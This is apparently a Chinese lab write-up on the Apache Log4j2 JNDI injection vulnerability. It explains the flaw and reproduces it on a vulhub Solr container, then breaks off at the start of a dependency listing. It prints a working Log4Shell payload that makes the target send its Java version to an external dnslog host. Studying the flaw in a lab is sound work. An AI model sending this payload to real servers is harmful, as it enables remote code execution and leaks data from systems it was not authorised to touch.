漏洞原理:
官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。
vulhub环境搭建
运行log4j容器
访问
payload:
http://192.168.8.139:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xyr4kk.dnslog.cn}
dnslog上刷新显示jdk版本
漏洞分析:
pom依赖:
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependencies